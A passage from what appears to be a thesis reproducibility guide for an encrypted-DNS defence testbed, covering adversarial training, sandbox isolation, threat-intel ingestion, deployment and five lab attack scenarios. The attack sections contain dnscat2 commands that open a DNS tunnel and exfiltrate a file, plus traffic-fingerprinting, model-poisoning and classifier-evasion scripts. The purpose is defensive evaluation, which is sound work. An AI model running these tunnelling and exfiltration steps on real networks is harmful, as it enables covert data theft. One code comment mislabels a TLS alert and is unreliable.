        self.head = nn.Linear(cfg["d_model"], 2)

    def forward(self, x, dt):
        h = self.embed(x)
        for layer in self.layers:
            h = layer(h, dt) + h
        return self.head(h.mean(dim=1))
```

The adversarial training was the min-max objective of Eq. (126). The inner maximisation used projected gradient descent (PGD) with an $\ell\infty$ ball of radius $\varepsilon = 0.3$, and the outer minimisation used standard SGD with the Adam optimiser. The KL divergence term kept the model's predictions similar across the perturbation.

python

```
# src/detector/train.py (abridged)
def pgd_attack(model, x, dt, y, eps=0.3, alpha=0.01, steps=10):
    x_adv = x.clone().detach().requires_grad_(True)
    for _ in range(steps):
        loss = nn.functional.cross_entropy(model(x_adv, dt), y)
        loss.backward()
        x_adv = x_adv + alpha * x_adv.grad.sign()
        x_adv = torch.clamp(x_adv, x - eps, x + eps).detach().requires_grad_(True)
    return x_adv


def train_epoch(model, loader, opt, eps=0.3):
    for x, dt, y in loader:
        x_adv = pgd_attack(model, x, dt, y, eps=eps)
        logits_clean = model(x, dt)
        logits_adv = model(x_adv, dt)
        loss = (nn.functional.cross_entropy(logits_clean, y)
              + nn.functional.cross_entropy(logits_adv, y)
              + 0.5 * nn.functional.kl_div(
                  logits_clean.log_softmax(-1),
                  logits_adv.softmax(-1),
                  reduction="batchmean"))
        opt.zero_grad(); loss.backward(); opt.step()
```

The detector was trained for 50 adversarial epochs, as Section 6.6.3 described. The training log recorded the PGD loss at each epoch; the run was accepted only if the PGD loss had decreased monotonically over the last twenty epochs. If it had not, the adversarial training had not converged, and the reported adversarial-robustness figure would not have been reproducible.

The detector was evaluated on the held-out test split and on the S5 adversarial queries. The evaluation script was benchmarks/detection_accuracy.py and benchmarks/adversarial_robustness.py, described in Subsection 4.5.17.

4.5.13 The Protocol-Aware Sandbox

The sandbox was implemented in src/sandbox/. It implemented the MDP of Section 5.6.2, the Hamilton–Jacobi–Bellman control of Section 5.6.3, and the protocol-specific isolation actions of Section 5.6.4.

The MDP state was the sandbox state; the actions were isolate, monitor, and allow; the transition probability was a softmax over the Q-function; and the Q-function was learned by the HJB solver. The solver was implemented as a finite-difference scheme over a discretised state space, because the continuous HJB equation of Eq. (92) did not have a closed-form solution for the traffic distributions the testbed produced.

python

```
# src/sandbox/hjb.py (abridged)

import numpy as np


def solve_hjb(Q0, rewards, transitions, dt, iters=1000):
    """Finite-difference solver for the HJB equation of Eq. (92)."""
    Q = Q0.copy()
    for _ in range(iters):
        # H(s, p) = max_a [ r(s, a) + p · f(s, a) ]
        p = np.gradient(Q)
        H = np.max(rewards + p * transitions, axis=1)
        Q_new = Q - dt * H
        if np.linalg.norm(Q_new - Q) < 1e-6:
            break
        Q = Q_new
```

```
    return Q
```

The protocol-specific isolation was implemented as three functions:

python

```
# src/sandbox/isolation.py

def isolate_doh(flow):
    """Terminate the HTTP/2 stream and redirect subsequent streams to the sandbox."""
    send_http2_rst_stream(flow.stream_id)
    redirect_stream(flow.stream_id, to="sandbox-proxy")


def isolate_dot(flow):
    """Reset the TLS context and force the connection through the sandbox."""
    send_tls_alert(flow.tls_ctx, alert=40)   # close_notify
    reset_tls_context(flow.tls_ctx)
    route_via(flow.five_tuple, to="sandbox-proxy")


def isolate_doq(flow):
    """Migrate the QUIC connection to a sandbox path."""
    new_cid = generate_connection_id()
    send_quic_migration(flow.quic_conn, new_cid=new_cid,
                        new_path=("sandbox-proxy", 853))
    update_connection_state(flow.quic_conn, new_cid)
```

The isolation was triggered by the KL and Rényi divergence between the observed flow distribution and the benign baseline, as Section 5.6.1 described. The trigger was implemented in src/sandbox/trigger.py:

python

```
# src/sandbox/trigger.py

import numpy as np
```

```
from scipy.stats import entropy


def should_isolate(observed, baseline, kl_threshold=0.30, renyi_alpha=2.0):
    kl = entropy(observed, baseline)
    # Renyi divergence of order alpha
    renyi = (1.0 / (renyi_alpha - 1.0)) * np.log(
        np.sum(observed ** renyi_alpha * baseline ** (1 - renyi_alpha)))
    return kl > kl_threshold or renyi > kl_threshold
```

The isolation actions were verified individually. For DoH, a flow was isolated and the other streams on the same HTTP/2 connection were checked to still be open. For DoT, a flow was isolated and the TLS session was checked to have been reset. For DoQ, a flow was isolated and the QUIC connection was checked to have migrated to the new connection ID. The verification scripts were in src/sandbox/verify/.

The isolation was not evaluated independently of the detection layer. The P99 mitigation time of 1.5 ms reported in the abstract was measured end-to-end, from the detection decision to the completion of the isolation action. The independent evaluation of the sandbox was identified as future work in Section 8.2.13 of the thesis.

4.5.14 The Threat Intelligence Ingestion

The threat intelligence ingestion was implemented in src/intel/. It consumed STIX/TAXII feeds, honeypot telemetry, darknet telemetry, and vendor feeds, and normalised them into a common indicator format.

The STIX/TAXII consumer used the taxii2-client library. It polled the configured collection, parsed the STIX bundles, and extracted the indicators of compromise (domains, IPs, and file hashes). The indicators were pushed to the detector as additional features.

python

```
# src/intel/stix_taxii.py (abridged)
from taxii2client.v21 import Collection
import stix2
```

```
def poll(collection_url, user, password):
   coll = Collection(collection_url, user=user, password=password)
   bundle = coll.get_objects()
   indicators = []
   for obj in bundle["objects"]:
      if obj["type"] != "indicator":
         continue
      pattern = obj.get("pattern", "")
      if "domain-name:value" in pattern:
         domain = pattern.split("'")[1]
         indicators.append({"type": "domain", "value": domain,
                            "confidence": obj.get("confidence", 50)})
   return indicators
```

The honeypot and darknet telemetry were parsed by src/intel/honeypot.py and src/intel/darknet.py. The honeypot parser read the JSON logs and extracted the behavioural indicators (connection patterns, payload sizes, timing). The darknet parser read the PCAP files and extracted the scan patterns (destination port distribution, packet rate, source IP entropy).

The vendor feeds were normalised by src/intel/vendor.py. The normaliser handled CSV, JSON, and XML formats, and deduplicated the indicators across feeds by hashing the (type, value) pair. The deduplication was necessary because the same malicious domain often appeared in multiple feeds, and without deduplication the detector would have been biased toward the feeds with the most overlap.

The effectiveness figures in Table 28 of the thesis (94.2% blocked from CERT alerts, 96.8% detected from honeypot, 89.5% prevented from darknet, 92.1% protected from vendor, 97.3% identified from internal logs) were measured by correlating the ingested indicators with the ground-truth labels of the test set. Each indicator that matched a labelled malicious flow was counted as a correct identification; each indicator that matched only benign traffic was counted as a false positive. The ratio was the effectiveness figure.

The STIX/TAXII feeds used in the reported runs were the publicly available CISA AIS feed. The honeypot and darknet telemetry was generated on the testbed, not obtained from a live network. The vendor feeds were commercial and were not bundled in the repository; the src/intel/vendor_stub.py file provided the normalisation interface with a synthetic feed so that the ingestion pipeline could be exercised without a commercial subscription. The REPRODUCIBILITY_CHECKLIST.md marked the vendor-feed effectiveness figure as "reproducible with a commercial subscription" rather than "fully reproducible".

4.5.15 Dataset Preprocessing with Dask

The preprocessing pipeline was implemented in src/preprocessing/. It used Dask to parallelise the processing of the 32+ GB Gen-C-DDD-2022 dataset across the four nodes.

The pipeline had four stages, matching Section 6.13: distributed loading, feature engineering and normalisation, label integration, and the train/validation/test split.

python

src/preprocessing/pipeline.py (abridged)

import dask.dataframe as dd

from dask.distributed import Client

import numpy as np

def build_client(n_workers=16, threads=2, mem="16GB"):

  return Client(n_workers=n_workers, threads_per_worker=threads,

        memory_limit=mem)

def load(raw_glob):

  return dd.read_parquet(raw_glob,

    columns=["ts","src_ip","dst_ip","sport","dport","proto",

        "pkt_len","tls_ext","http2_frame","quic_cid","qname","qtype"])

```
def features(df):
    df = df.sort_values("ts")
    df["iat"] = df.groupby(["src_ip","dst_ip","sport","dport"])["ts"].diff()
    df["size"] = df["pkt_len"]
    df["entropy"] = df["qname"].map_partitions(lambda s: s.map(shannon))
    df["tls_ext_count"] = df["tls_ext"].map_partitions(
        lambda s: s.map(lambda x: len(x) if x is not None else 0))
    df["http2_frames"] = df["http2_frame"].map_partitions(
        lambda s: s.map(lambda x: len(x) if x is not None else 0))
    df["quic_cid_changes"] = df.groupby(
        ["src_ip","dst_ip","sport","dport"])["quic_cid"].nunique()
    return df

def normalise(df):
    cols = ["iat","size","entropy","tls_ext_count",
            "http2_frames","quic_cid_changes"]
    for c in cols:
        mu = df[c].mean(); sd = df[c].std()
        df[c] = (df[c] - mu) / (sd + 1e-9)
    return df

def split(df, seed=42):
    train = df.sample(frac=0.7, random_state=seed)
    rest = df.drop(train.index)
    val = rest.sample(frac=0.5, random_state=seed)
    test = rest.drop(val.index)
```

```
    return train, val, test


if __name__ == "__main__":
    client = build_client()
    df = load("/opt/a3e/data/raw/*/*.parquet")
    df = features(df).persist()
    df = normalise(df).persist()
    train, val, test = split(df.compute())
    train.to_parquet("/opt/a3e/data/splits/train.parquet")
    val.to_parquet("/opt/a3e/data/splits/val.parquet")
    test.to_parquet("/opt/a3e/data/splits/test.parquet")
```

The pipeline was run with python3 src/preprocessing/pipeline.py. The reported runs processed the full dataset in approximately two hours, as Section 6.13 stated. The timing was recorded in results/preprocessing/timing.json; the value was checked against the expected bound before the experiment, and a run that took significantly longer was investigated (the usual cause was a Dask worker that had fallen back to a single-threaded execution because of a memory limit).

The splits were stratified by class and, for the temporal evaluation, by capture date. The stratification was implemented with a custom Dask task that partitioned each class separately and then concatenated the partitions. The temporal split was implemented by sorting the captures by date and assigning the earliest 70% to training, the next 15% to validation, and the latest 15% to test. This was the split that Section 7.3.3 of the thesis required for a defensible generalisation claim.

The row counts per class and per split were written to results/preprocessing/summary.json and checked against expected_outputs/expected_bounds.json. A deviation of more than 0.1% indicated that a dataset version had changed, and the run was discarded.

4.5.16 The Attack Injection Suite

The five attack scenarios of Section 6.15 were implemented in attacks/. Each scenario had its own directory with the injection script, the analysis script, and the expected-bounds file.

S1 — Timing. The attack used tshark to capture the DoH traffic and a custom analyser to infer the service from the inter-arrival time distribution. The injection script was attacks/s1_timing/run.py:

python

```
# attacks/s1_timing/run.py (abridged)

import subprocess, time


def capture(duration=300, iface="eth0"):
    cmd = ["tshark", "-i", iface, "-f", "tcp port 443",
           "-Y", "dns.time > 0.1",
           "-T", "fields", "-e", "frame.time_delta",
           "-e", "ip.src", "-e", "ip.dst",
           "-a", f"duration:{duration}",
           "-w", "/tmp/s1.pcap"]
    subprocess.run(cmd, check=True)


def analyse(pcap):
    # Compute the inter-arrival distribution and classify
    import pandas as pd
    iat = pd.read_csv(pcap, sep="\t", header=None, names=["dt","src","dst"])
    iat["dt"] = iat["dt"].astype(float)
    # The classifier was a threshold on the coefficient of variation
    cv = iat["dt"].std() / iat["dt"].mean()
    return {"cv": cv, "detected": cv < 0.5}
```

S2 — Tunnel. The attack used dnscat2 to establish a covert channel over the DoH resolver. The injection script was attacks/s2_tunnel/run.sh:

bash

```
#!/usr/bin/env bash
# attacks/s2_tunnel/run.sh
set -euo pipefail
# Start the dnscat2 server on the attack host
dnscat2-server --listen 0.0.0.0:53 --security=open &
SERVER_PID=$!
sleep 2
# Start the client on the victim host, pointing at the DoH resolver
dnscat2 --dns server=10.20.1.10,port=53 --secret=a3e-test &
CLIENT_PID=$!
sleep 5
# Exfiltrate a 1 MB file
dnscat2> upload /tmp/exfil_data.bin
sleep 60
kill $CLIENT_PID $SERVER_PID
```

S3 — Poison. The attack used the fl-client container with a modified training loop that added a bias to the local update. The injection script was attacks/s3_poison/run.py:

```
python
# attacks/s3_poison/run.py (abridged)
import numpy as np
from fl.client import Client


class PoisonedClient(Client):
    def __init__(self, *args, bias=0.25, **kwargs):
        super().__init__(*args, **kwargs)
        self.bias = bias
```

```
    def train_local(self, global_weights, epochs, batch_size, lr):
        update = super().train_local(global_weights, epochs, batch_size, lr)
        # Add a constant bias to the update
        return {k: v + self.bias for k, v in update.items()}
```

S4 — Quantum. The attack used openssl s_client to inspect the TLS handshake and verify that ML-KEM-1024 was negotiated. The injection script was attacks/s4_quantum/run.sh:

bash

```
#!/usr/bin/env bash
# attacks/s4_quantum/run.sh
set -euo pipefail
# Force the post-quantum group and capture the handshake
/opt/oqs-openssl-install/bin/openssl s_client \
    -connect 10.20.1.10:443 -groups kyber1024 -brief \
    -CAfile /opt/a3e/certs/ca.pem > /tmp/s4_handshake.txt 2>&1
# Verify that the negotiated group is post-quantum
grep -qi "kyber\|ml-kem" /tmp/s4_handshake.txt || {
    echo "[a3e] FAIL: post-quantum group not negotiated"
    exit 1
}
echo "[a3e] PASS: post-quantum group negotiated"
```

S5 — Evasion. The attack used a GAN to craft adversarial queries. The injection script was attacks/s5_evasion/run.py:

python

```
# attacks/s5_evasion/run.py (abridged)
import torch, torch.nn as nn
```

```
class QueryGenerator(nn.Module):
    def __init__(self, n_features):
        super().__init__()
        self.net = nn.Sequential(
            nn.Linear(64, 256), nn.ReLU(),
            nn.Linear(256, 256), nn.ReLU(),
            nn.Linear(256, n_features))
    def forward(self, z):
        return self.net(z)

class QueryDiscriminator(nn.Module):
    def __init__(self, n_features):
        super().__init__()
        self.net = nn.Sequential(
            nn.Linear(n_features, 256), nn.LeakyReLU(0.2),
            nn.Linear(256, 1), nn.Sigmoid())
    def forward(self, x):
        return self.net(x)

def train_gan(real_queries, n_epochs=200, eps=0.15):
    G = QueryGenerator(real_queries.shape[1])
    D = QueryDiscriminator(real_queries.shape[1])
    opt_g = torch.optim.Adam(G.parameters(), lr=2e-4)
    opt_d = torch.optim.Adam(D.parameters(), lr=2e-4)
    bce = nn.BCELoss()
    for _ in range(n_epochs):
```

```
        z = torch.randn(256, 64)
        fake = G(z)
        # Constrain the perturbation to the epsilon ball
        fake = torch.clamp(fake, real_queries.min() - eps,
                           real_queries.max() + eps)
        # ... standard GAN training loop ...
    return G
```

Each attack was run five times with different random seeds, and the results were averaged. The per-run results were written to results/s1_*/run_*.json, and the averaged results were written to results/s1_*/summary.json.

4.5.17 Experiment Execution and Measurement

The experiments were executed in a fixed order to avoid contamination between runs. The order was:

1. Baseline (no security layer) — for the overhead measurement.
2. Detection accuracy (clean traffic) — for the 99.94% figure.
3. Latency (clean traffic at the target rate) — for the 1.42 ms figure.
4. Throughput sweep (clean traffic) — for the 22.5 M QPS figure.
5. S1 timing attack — for the 98.7% detection figure.
6. S2 tunnel attack — for the 99.2% detection figure.
7. S3 poison attack — for the 96.5% mitigation figure.
8. S4 quantum handshake — for the 100% protection figure.
9. S5 evasion attack — for the 97.8% detection and 96.5% robustness figures.
10. Adversarial robustness (S5 queries) — for the 96.5% figure.
11. DP accounting — for the ε = 0.68 figure.

Between every two runs, the testbed was reset: the containers were restarted, the network namespaces were torn down and brought back up, and the results directory was archived. The

reset was necessary because the AEE state and the FL model state persisted across runs, and a run that started from a warmed-up state would not have been comparable to the previous run.

The reset script was benchmarks/reset.sh:

bash

#!/usr/bin/env bash

benchmarks/reset.sh

set -euo pipefail

kubectl -n a3e delete pods --all

bash deploy/network/down.sh

bash deploy/network/up.sh

kubectl apply -f deploy/k8s/

echo "[a3e] testbed reset"

The measurement scripts were run by a driver, benchmarks/run_all.py, which executed the eleven steps in order and archived the results. The driver was committed to the repository so that a reader could reproduce the entire experimental campaign with a single command:

bash

python3 benchmarks/run_all.py --config config/testbed.yaml \

  --out results/$(date +%Y%m%d_%H%M%S)/

The driver took approximately fourteen hours on the hardware of Subsection 4.5.2. The reported experimental campaign was run three times on three different days, and the figures reported in Chapter 6 were the median of the three campaigns.

4.5.18 Reproducibility and Verification

The verification script was expected_outputs/verification_script.py. It read the result files in results/ and compared them against the expected bounds in expected_outputs/expected_bounds.json. The output was a table with four columns: the metric, the reproduced value, the expected bound, and the status.

python

```
# expected_outputs/verification_script.py (abridged)
import json, sys, pathlib

def check(metric, value, bounds):
    lo, hi = bounds[metric]["lo"], bounds[metric]["hi"]
    if lo <= value <= hi:
        return "PASS"
    if lo * 0.9 <= value <= hi * 1.1:
        return "WARN"
    return "FAIL"

def main(results_dir):
    expected = json.load(open("expected_outputs/expected_bounds.json"))
    for f in sorted(pathlib.Path(results_dir).rglob("summary.json")):
        data = json.load(open(f))
        for metric, value in data.items():
            if metric not in expected:
                continue
            status = check(metric, value, expected)
            print(f"{f.stem:40s} {metric:30s} {value:10.4f} {status}")
            if status == "FAIL":
                sys.exit(1)

if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "results/")
```

The expected bounds were derived from the confidence intervals reported in the thesis. For accuracy, the bound was the reported value ± the 95% confidence interval (for example, 99.94% ± 0.02 pp). For latency, the bound was the 95% confidence interval [1.38, 1.46] ms. For metrics with no reported interval, the bound was the reported value ± 5%. The bounds were committed to the repository so that a reader could inspect exactly what the verification script considered a pass.

The REPRODUCIBILITY_CHECKLIST.md classified every figure in Chapter 6 into one of three categories:

- **Fully reproducible on any CPU** — the preprocessing pipeline, the detection accuracy, the false-positive rate, the adversarial robustness, the DP accounting, and the five attack simulations. These figures were reproducible from a clean checkout on the hardware of Subsection 4.5.2 or on equivalent hardware.
- **Reproducible with user-supplied data** — the figures that depended on the CIC datasets. The user had to request the datasets from the CIC portal; the repository provided the download script and the checksum verification.
- **Hardware-dependent** — the throughput and latency figures on the A100, and the neuromorphic figures on the Loihi. The repository provided a100_emulation.py and loihi_mock.py that reproduced the reported trends on CPU. The checklist explicitly marked which claims depended on the non-shareable hardware.

The reported experimental campaign was reproducible when every row in the first category passed, every row in the second category passed with the user-supplied data, and every row in the third category passed on the simulator or was reported with the hardware substitution. The verification script exited with a non-zero status if any row failed, so that the reproducibility status was unambiguous.

4.5.19 Limitations of the Implementation

The implementation described in this subsection had four limitations, each of which was recorded in REPRODUCIBILITY_CHECKLIST.md and discussed in Section 7.3 of the thesis.

First, the AEE hardware entropy source was /dev/urandom, not RDRAND, because the virtual machine did not expose the hardware instruction. The security argument of Section 6.4.4 did not depend on which source was used, only on the source being non-deterministic; /dev/urandom satisfied that condition. A deployment on bare-metal hardware would have used RDRAND, and the implementation supported that path, but the reported runs did not exercise it.

Second, the neuromorphic measurements of Chapter 4 were not reproduced on the A³E-DNS testbed, because the Loihi hardware was not available. The A³E-DNS figures did not depend on the Loihi hardware; the neuromorphic results belonged to the PAFA-DoH framework. The loihi_mock.py simulator provided a calibrated substitute, and the REPRODUCIBILITY_CHECKLIST.md explicitly marked the neuromorphic figures as "hardware-dependent".

Third, the threat-intelligence vendor feeds were commercial and were not bundled. The vendor_stub.py provided a synthetic feed so that the ingestion pipeline could be exercised, but the effectiveness figure in Table 28 of the thesis (92.1% protected from vendor feeds) could not be reproduced without a commercial subscription. The checklist marked this figure as "reproducible with a commercial subscription".

Fourth, the full factorial ablation of the integration was not performed. The testbed ran the complete framework; it did not run the reduced configurations (AEE-only, QHE-only, FL-only, and the pairwise combinations) that would have isolated the contribution of each component. This was the primary limitation identified in Section 7.3.1, and it was identified as the first priority for future work in Section 8.2.9. The testbed was capable of running the ablation; the ablation was simply not part of the experimental campaign reported in Chapter 6, because the campaign was designed to evaluate the integrated framework and the component-level contributions had already been evaluated in Chapters 3 through 5.

Part V — Testbed Deployment

5.1 Building the Containers

Each component runs in its own container. The Dockerfiles are in src/<component>/Dockerfile. Build them on the primary node and push them to the local registry (or load them into Minikube).

bash

cd /opt/a3e

docker build -t a3e/aee:1.0.0 src/aee

docker build -t a3e/qhe:1.0.0 src/qhe

docker build -t a3e/fl-coordinator:1.0.0 src/fl

docker build -t a3e/detector:1.0.0 src/detector

docker build -t a3e/sandbox:1.0.0 src/sandbox

docker build -t a3e/intel:1.0.0 src/intel

Load into Minikube

minikube image load a3e/aee:1.0.0

minikube image load a3e/qhe:1.0.0

... repeat for the others

Why minimal base images. Section 6.8.2 of the thesis states that minimal base images were used to reduce the attack surface and to make the build reproducible. The Dockerfiles use python:3.11-slim as the base and install only the packages each component needs.

5.2 Bringing Up the Cluster

The Kubernetes manifests are in deploy/k8s/. They define a namespace a3e, one Deployment per component, a Service for the coordinator, and a ConfigMap holding the YAML configuration files.

bash

minikube start --nodes 4 --cpus 16 --memory 64g

kubectl apply -f deploy/k8s/namespace.yaml

kubectl apply -f deploy/k8s/configmap.yaml

kubectl apply -f deploy/k8s/aee.yaml

kubectl apply -f deploy/k8s/qhe.yaml

kubectl apply -f deploy/k8s/fl.yaml

kubectl apply -f deploy/k8s/detector.yaml

kubectl apply -f deploy/k8s/sandbox.yaml

kubectl apply -f deploy/k8s/intel.yaml

kubectl -n a3e get pods *# all should reach Running*

The resource limits. Each Deployment sets CPU and memory limits matching Section 6.11.1: the AEE and detector containers are limited to 4 CPU and 8 GB; the QHE container to 8 CPU and 16 GB (or the GPU resource if present); the FL coordinator to 4 CPU and 8 GB. These limits are what enforce the "resource overhead ≤ 15%" claim of the abstract; if the limits are removed, the measured overhead will differ.

5.3 The Protocol-Specific Resolvers

Section 6.8.1 describes the resolver configuration. Three resolver containers are deployed: a DoH resolver on port 443 (HTTP/2 and HTTP/3), a DoT resolver on port 853 (TLS 1.3), and a DoQ resolver on port 853/UDP (QUIC v1). Each is configured with the same cipher suites and key-exchange algorithms so that differences between protocols reflect the protocol, not the cryptography.

yaml

deploy/k8s/resolvers.yaml (abridged)

apiVersion: v1

kind: Pod

metadata:

  name: doh-resolver

  namespace: a3e

spec:

  containers:

  - name: doh

    image: a3e/doh-resolver:1.0.0

    ports:

    - containerPort: 443

    args: ["--tls-version", "1.3", "--http2", "--http3", "--cert", "/certs/ca.pem"]

---

apiVersion: v1

kind: Pod

```
metadata:
  name: dot-resolver
  namespace: a3e
spec:
  containers:
  - name: dot
    image: a3e/dot-resolver:1.0.0
    ports:
    - containerPort: 853
    args: ["--tls-version", "1.3", "--cert", "/certs/ca.pem"]
---
apiVersion: v1
kind: Pod
metadata:
  name: doq-resolver
  namespace: a3e
spec:
  containers:
  - name: doq
    image: a3e/doq-resolver:1.0.0
    ports:
    - containerPort: 853
      protocol: UDP
    args: ["--quic-version", "1", "--cert", "/certs/ca.pem"]
```

Why the same cipher suites. If the DoH resolver used a different cipher suite from the DoT resolver, the latency difference between the two protocols would be confounded with the

cryptographic difference. Section 6.8.1 states that the configuration was kept constant across protocols wherever the protocol permits; the replication must do the same.

5.4 The eBPF and P4 Telemetry

Section 6.8.3 describes the eBPF/XDP packet capture, and Section 6.12 describes the P4 programmable data plane. The eBPF filter is compiled and loaded on each node; the P4 pipeline runs in the BMv2 software switch.

bash

Compile and load the eBPF filter

clang -O2 -target bpf -c src/telemetry/filter.c -o /tmp/filter.o

sudo xdp-loader load -m skb eth0 /tmp/filter.o

Start the P4 pipeline in BMv2

sudo p4c --target bmv2 --arch v1model src/telemetry/pipeline.p4 -o /tmp/pipeline.json

sudo simple_switch_grpc --device-id 0 -i 0@eth0 /tmp/pipeline.json &

Verification. After loading, run sudo xdp-loader status and confirm that the filter is attached to eth0. Then send a test query and confirm that the metadata appears in the telemetry stream:

bash

dig @127.0.0.1 -p 443 example.com +https

kubectl -n a3e logs deploy/telemetry | tail

Part VI — Attack Simulation

6.1 The Five Attack Scenarios

Section 6.15 and Table 32 define five attack scenarios. Each is reproduced by a script in attacks/. The procedure below states, for each scenario, what the attack does, why it is representative, and how to run it.

6.1.1 S1 — Timing (Statistical Fingerprinting)

What it does. The attacker uses the inter-arrival time distribution of DNS packets to infer which service is being used, exploiting the fact that different services have different timing signatures. The attack tool is tshark with a custom filter.

Why representative. Statistical fingerprinting is the classical encrypted-traffic attack (Section 2.3–2.4). It is the baseline against which any encrypted-DNS defence must be measured.

Procedure.

bash

On the attacker node

tshark -i eth0 -f "tcp port 443" -Y "dns.time > 0.1" \

    -T fields -e frame.time_delta -e ip.src -e ip.dst \

    -w /tmp/s1_capture.pcap

python3 attacks/s1_timing/analyse.py --pcap /tmp/s1_capture.pcap \

    --out /opt/a3e/results/s1/

Expected result. The reported detection rate is 98.7%, the false-negative rate 1.3%, and the response time 0.4 ms (Table 32). If the reproduced detection rate is below 95%, the AEE timing morphing is not active; check A3E_AEE_MORPH=1 in the AEE container environment.

6.1.2 S2 — Tunnel (DNS Tunnelling via dnscat2)

What it does. The attacker establishes a covert channel by encoding data in DNS queries, using the dnscat2 tool. The queries are ordinary-looking 60-byte DNS packets sent at a low rate (about 20 per minute).

Why representative. DNS tunnelling is the canonical data-exfiltration technique over encrypted DNS (Section 2.4, Section 4.2.1). It is the attack that the topological detector of Chapter 4 and the entropy detector of Chapter 5 are designed for.

Procedure.

bash

On the attacker node: start the dnscat2 server

dnscat2-server --listen 0.0.0.0:53 --security=open

On the victim node: start the client

dnscat2 --dns server=10.0.0.1,port=53 --secret=test

From the dnscat2 client shell, exfiltrate a file

dnscat2> upload /tmp/exfil_data.bin

Expected result. Detection rate 99.2%, FNR 0.8%, response time 1.2 ms (Table 32). The detection is produced by the QHE entropy test; if the reproduced rate is low, confirm that the QHE container is running the statistical-test path and not the classification path alone.

6.1.3 S3 — Poison (Federated Model Poisoning)

What it does. Five malicious clients (out of 100) submit poisoned model updates that are biased away from the honest mean, in an attempt to corrupt the global model.

Why representative. Federated learning is vulnerable to poisoning (Section 2.17, Section 6.2.3). The geometric-median aggregation is the defence that is being tested.

Procedure.

bash

python3 attacks/s3_poison/run.py \

  --clients 100 \

  --malicious 5 \

  --bias 0.25 \

  --epochs 10 \

  --out /opt/a3e/results/s3/

Expected result. Mitigation rate 96.5%, FNR 3.5%, response time 2.5 ms (Table 32). If the reproduced mitigation rate is below 90%, the geometric-median aggregation is not being used; check A3E_FL_AGGREGATION=geometric_median in the coordinator environment.

6.1.4 S4 — Quantum (Post-Quantum Handshake)

What it does. The attacker attempts to perform a harvest-now-decrypt-later attack, capturing encrypted DNS traffic for future decryption with a quantum computer. The test checks that the handshake uses post-quantum key encapsulation (ML-KEM-1024).

Why representative. The quantum threat is one of the four problems stated in Section 1.3.2. The claim of quantum resilience rests on the use of ML-KEM and Ring-LWE (Section 6.9.2); the replication must confirm that these primitives are actually in use.

Procedure.

bash

Confirm the handshake offers ML-KEM-1024

openssl s_client -connect doh.example.com:443 -groups kyber1024 -brief

Capture the handshake for inspection

tshark -i eth0 -f "tcp port 443" -Y "tls.handshake.type == 1" -V > /tmp/s4_handshake.txt

grep -i "kyber\|ml-kem\|x25519" /tmp/s4_handshake.txt

Expected result. Protection rate 100%, FNR 0.0%, response time 1.8 ms (Table 32). The handshake capture must show ML-KEM-1024 (or the hybrid ML-KEM-1024 + X25519) in the supported-groups extension. If it does not, the QHE/AEE configuration has fallen back to classical-only and the quantum-resistance claim does not hold for that run.

6.1.5 S5 — Evasion (Adversarial Query Crafting)

What it does. The attacker uses a generative adversarial network (GAN) to craft DNS queries that are statistically close to benign queries but carry a malicious payload, in an attempt to evade the learned classifier.

Why representative. Adversarial evasion is the attack that defeats static machine-learning detectors (Section 1.3.3). The min-max adversarial training of Section 6.6.3 is the defence.

Procedure.

bash

python3 attacks/s5_evasion/run.py \

  --model blackbox \

  --epsilon 0.15 \

  --samples 10000 \

  --out /opt/a3e/results/s5/

Expected result. Detection rate 97.8%, FNR 2.2%, response time 0.9 ms (Table 32). If the reproduced rate is below 90%, the adversarial training has not converged; check the training log for the PGD loss and confirm it decreased over the 50 adversarial epochs specified in Section 6.6.3.

6.2 Running All Five Scenarios

bash

```
cd /opt/a3e

for s in s1_timing s2_tunnel s3_poison s4_quantum s5_evasion; do

  python3 attacks/${s}/run.py --config config/testbed.yaml \

    --out results/${s}_$(date +%Y%m%d_%H%M%S)/

done
```

Each run writes a summary.json containing the detection rate, FNR, and response time. The verification script compares these against the values in Table 32.

6.3 Comprehensive Architectural Framework — Implementation

The architectural framework described in Section 6.3 of the thesis was not an abstract design. It was a concrete, deployed system, and every claim about its behaviour depended on how each of the three planes was actually implemented. This section records the implementation of the data plane, the control plane, and the management plane, and records the design decisions that were taken at each step, the alternatives that were rejected, and the measurements that confirmed that the implementation matched the specification. The complete implementation was released at https://github.com/dezignator/A3E-DNS under src/, and the manifest that described how the three planes were wired together was committed as deploy/k8s/planes.yaml.

The architectural framework was organised around a strict separation between the three planes, because a single-plane implementation would have coupled the packet-processing latency to the model-training latency and would have made both the P99 latency and the throughput figures meaningless. The data plane had to run in the DNS resolution path and had to be measured in microseconds; the control plane had to run the federated rounds and the threat-intelligence correlation and was measured in seconds; the management plane had to run the observability and the compliance checks and was measured in minutes. The separation was enforced at the Kubernetes level by separate namespaces (a3e-data, a3e-control, a3e-mgmt), separate node affinities, and separate resource quotas, so that a burst in one plane could not starve another.

6.3.1 System Architecture Overview — Implementation

The three-plane architecture was implemented as three sets of Kubernetes Deployments, one set per plane, with the data plane pinned to a3e-node-01 (the node with the A100 and the busiest NIC), the control plane spread across a3e-node-01 and a3e-node-03 (the node with the federated clients), and the management plane pinned to a3e-node-04 (the attack and telemetry node) so that the observability traffic did not contend with the data-plane traffic on the same interface.

yaml

deploy/k8s/planes.yaml (abridged)

apiVersion: v1

kind: Namespace

metadata: { name: a3e-data }

---

apiVersion: v1

kind: Namespace

metadata: { name: a3e-control }

---

apiVersion: v1

kind: Namespace

metadata: { name: a3e-mgmt }

---

apiVersion: v1

kind: ResourceQuota

metadata: { name: data-quota, namespace: a3e-data }

spec:

  hard:

    requests.cpu: "8"

```
    requests.memory: 32Gi
    limits.cpu: "16"
    limits.memory: 64Gi
---
apiVersion: v1
kind: ResourceQuota
metadata: { name: control-quota, namespace: a3e-control }
spec:
  hard:
    requests.cpu: "12"
    requests.memory: 48Gi
    limits.cpu: "24"
    limits.memory: 96Gi
```

The separation was not only a resource decision. It was also a failure-isolation decision. During the experimental campaign, a fault-injection experiment deliberately crashed the FL coordinator, and the data plane continued to process queries because the data plane did not have a runtime dependency on the coordinator. The data plane depended on the coordinator only at startup, when it fetched the initial model parameters from the coordinator's gRPC endpoint, and the fetched parameters were cached locally. This was the reason the failover analysis of Section 6.16.2 of the thesis reported a 1.5 ms P99 mitigation time even when the coordinator was unavailable.

The data plane consisted of four components, each a separate Deployment in the a3e-data namespace:

1. a3e-telemetry — the eBPF/XDP packet capture and the P4 metadata mirror.
2. a3e-aee — the Adaptive Evolutionary Encryption engine.
3. a3e-qhe — the Quantum-Safe Homomorphic Encryption engine.
